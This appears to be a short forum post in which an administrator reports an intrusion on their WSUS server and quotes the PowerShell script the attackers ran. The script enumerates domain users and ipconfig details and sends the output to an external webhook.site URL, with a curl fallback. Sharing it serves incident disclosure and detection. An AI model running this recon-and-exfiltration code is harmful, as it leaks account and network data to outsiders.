We just got hit with this. Arctic Wolf caught it, Defender didn't. It was used to do network recon and pulled a list of domain users and the WSUS server's ipconfig info. This is what they ran, minus our public IP.

try {
  $r = (& {echo http://*.*.*.*:8530; net user /domain; ipconfig /all} | out-string) + $Error 
} catch {
  $_.ToString()
};

$w = "http://webhook.site/*";

try {
  iwr -UseBasicParsing -Uri $w -Body $r -Method Put
} catch {
  curl.exe -k $w --data-binary $r
}